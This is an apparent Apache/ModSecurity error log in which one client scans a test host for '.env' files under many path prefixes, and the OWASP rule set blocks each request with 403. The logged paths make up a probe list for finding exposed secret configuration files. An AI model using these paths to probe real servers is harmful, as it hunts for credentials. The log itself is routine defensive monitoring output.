[Thu Feb 26 01:03:08.123894 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUowAAAAc&quot;]
[Thu Feb 26 01:03:08.124054 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUowAAAAc&quot;]
[Thu Feb 26 01:03:08.162046 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpAAAAAc&quot;]
[Thu Feb 26 01:03:08.162289 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpAAAAAc&quot;]
[Thu Feb 26 01:03:08.162480 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpAAAAAc&quot;]
[Thu Feb 26 01:03:08.195843 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jsrelay/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4iQAAAAY&quot;]
[Thu Feb 26 01:03:08.196111 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4iQAAAAY&quot;]
[Thu Feb 26 01:03:08.196278 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4iQAAAAY&quot;]
[Thu Feb 26 01:03:08.227381 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jupyter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4igAAAAY&quot;]
[Thu Feb 26 01:03:08.227637 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4igAAAAY&quot;]
[Thu Feb 26 01:03:08.227801 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4igAAAAY&quot;]
[Thu Feb 26 01:03:08.238065 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpgAAAAc&quot;]
[Thu Feb 26 01:03:08.238312 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpgAAAAc&quot;]
[Thu Feb 26 01:03:08.238495 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpgAAAAc&quot;]
[Thu Feb 26 01:03:08.263178 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /khanlinks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4iwAAAAY&quot;]
[Thu Feb 26 01:03:08.263454 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4iwAAAAY&quot;]
[Thu Feb 26 01:03:08.263620 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4iwAAAAY&quot;]
[Thu Feb 26 01:03:08.283036 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lambda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpwAAAAc&quot;]
[Thu Feb 26 01:03:08.283325 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpwAAAAc&quot;]
[Thu Feb 26 01:03:08.283507 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUpwAAAAc&quot;]
[Thu Feb 26 01:03:08.290467 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kibana/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jAAAAAY&quot;]
[Thu Feb 26 01:03:08.290729 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jAAAAAY&quot;]
[Thu Feb 26 01:03:08.290889 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jAAAAAY&quot;]
[Thu Feb 26 01:03:08.305941 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /latest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqAAAAAc&quot;]
[Thu Feb 26 01:03:08.306197 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqAAAAAc&quot;]
[Thu Feb 26 01:03:08.306389 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqAAAAAc&quot;]
[Thu Feb 26 01:03:08.331219 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kodenames-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jQAAAAY&quot;]
[Thu Feb 26 01:03:08.331480 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jQAAAAY&quot;]
[Thu Feb 26 01:03:08.331642 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jQAAAAY&quot;]
[Thu Feb 26 01:03:08.337556 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /layout/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqQAAAAc&quot;]
[Thu Feb 26 01:03:08.337787 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqQAAAAc&quot;]
[Thu Feb 26 01:03:08.337948 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqQAAAAc&quot;]
[Thu Feb 26 01:03:08.356538 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kolab-syncroton/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jgAAAAY&quot;]
